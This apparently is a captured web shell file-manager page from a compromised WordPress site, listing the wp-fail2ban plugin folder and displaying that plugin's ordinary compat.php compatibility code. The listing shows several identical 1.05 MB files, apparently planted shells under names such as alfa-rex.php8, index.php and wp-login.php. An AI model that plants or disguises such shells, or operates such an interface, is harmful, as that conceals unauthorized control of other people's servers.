at path:
ROOT
/
wp-content
/
plugins
/
wp-fail2ban
/
lib
/
compat.php
run:
R
W
Run
about.php
1.05 MB
2016-06-12 19:38:14
R
W
Run
Delete
Rename
about.php7
1.05 MB
2017-06-16 19:38:14
R
W
Run
Delete
Rename
activation.php
2.86 KB
2026-06-23 07:19:57
R
W
Run
Delete
Rename
alfa-rex.PHP
1.05 MB
2026-06-17 19:38:14
R
W
Run
Delete
Rename
alfa-rex.PhP7
1.05 MB
2026-06-17 19:38:13
R
W
Run
Delete
Rename
alfa-rex.php56
1.05 MB
2026-06-17 19:38:14
R
W
Run
Delete
Rename
alfa-rex.php8
1.05 MB
2026-06-17 19:38:14
R
W
Run
Delete
Rename
compat.php
3.02 KB
2026-06-16 01:07:19
R
W
Run
Delete
Rename
constants.php
7.68 KB
2026-06-16 01:07:19
R
W
Run
Delete
Rename
convert-data.php
2.83 KB
2026-06-16 01:07:19
R
W
Run
Delete
Rename
hashes.php
14.81 KB
2026-06-16 01:07:19
R
W
Run
Delete
Rename
index.php
1.05 MB
2026-06-17 19:38:14
R
W
Run
Delete
Rename
invalid-ip-exception.php
304 By
2026-06-16 01:07:19
R
W
Run
Delete
Rename
ip-range-list.php
4.54 KB
2026-06-16 01:07:19
R
W
Run
Delete
Rename
ip.php
5.22 KB
2026-06-16 01:07:19
R
W
Run
Delete
Rename
loader.php
18.19 KB
2026-06-16 01:07:19
R
W
Run
Delete
Rename
site-health.php
22.4 KB
2026-06-16 01:07:19
R
W
Run
Delete
Rename
syslog.php
4.64 KB
2026-06-16 01:07:19
R
W
Run
Delete
Rename
update.php
851 By
2026-06-16 01:07:19
R
W
Run
Delete
Rename
wp-login.php
1.05 MB
2026-06-17 19:38:13
R
W
Run
Delete
Rename
error_log
up
📄
compat.php
Save
<?php declare(strict_types=1); /** * Back-Compat * * @package wp-fail2ban * @since 4.4.0 */ namespace { /** * For ClassicPress and WP < 5.3 * * @codeCoverageIgnore */ if ( ! function_exists( 'wp_timezone_string' ) ) { /** * Retrieves the timezone of the site as a string. * * Uses the `timezone_string` option to get a proper timezone name if available, * otherwise falls back to a manual UTC ± offset. * * Example return values: * * - 'Europe/Rome' * - 'America/North_Dakota/New_Salem' * - 'UTC' * - '-06:30' * - '+00:00' * - '+08:45' * * @since 5.3.0 * * @return string PHP timezone name or a ±HH:MM offset. */ function wp_timezone_string() { $timezone_string = get_option( 'timezone_string' ); if ( $timezone_string ) { return $timezone_string; } $offset = (float) get_option( 'gmt_offset' ); $hours = (int) $offset; $minutes = ( $offset - $hours ); $sign = ( $offset < 0 ) ? '-' : '+'; $abs_hour = abs( $hours ); $abs_mins = abs( $minutes * 60 ); $tz_offset = sprintf( '%s%02d:%02d', $sign, $abs_hour, $abs_mins ); return $tz_offset; } } } namespace org\lecklider\charles\wordpress\wp_fail2ban { /** * Shim: Wrapper for \openlog * * @since 4.4.0 Refactor for Syslog class; add type hint, return type * @since 3.5.0 Refactored for unit testing * * @param string $log * * @return bool */ function openlog( string $log = 'WP_FAIL2BAN_AUTH_LOG' ): bool { return Syslog::open( $log ); } /** * Shim: Wrapper for \syslog * * @since 4.4.0 Refactor for Syslog class; add type hint, return type * @since 3.5.0 * * @param int $level * @param string $msg * @param string|null $remote_addr * * @return void * * @codeCoverageIgnore */ function syslog( int $level, string $msg, string $remote_addr = null ): bool { return Syslog::write( $level, $msg, $remote_addr ); } /** * Shim: Wrapper for \closelog * * @since 4.4.0 Refactor for Syslog class; add return type * @since 4.3.0 * * @return void */ function closelog(): bool { return Syslog::close(); } /** * Helper: check if IP is in list of ranges * * @since 5.0.0 Deprecated * @since 4.4.0 Add return type * @since 4.3.1 * * @param int|string $ip IP * @param array $ranges * * @return bool */ function ip_in_range( $ip, array $ranges ): bool { if ( is_string( $ip ) ) { $ip = ip2long( $ip ); } foreach ( $ranges as $range ) { if ( '#' == $range[0] ) { continue; } elseif ( 2 == count( $cidr = explode( '/', $range ) ) ) { $net = ip2long( $cidr[0] ); $mask = ~ ( pow( 2, ( 32 - $cidr[1] ) ) - 1 ); } else { $net = ip2long( $range ); $mask = -1; } if ( $net == ( $ip & $mask ) ) { return true; } } return false; } /** * Shim: Wrap new remote_addr() for older add-ons * * @since 5.0.0 * * @return string */ function ___remote_addr(): string { return (string) core\remote_addr(); } }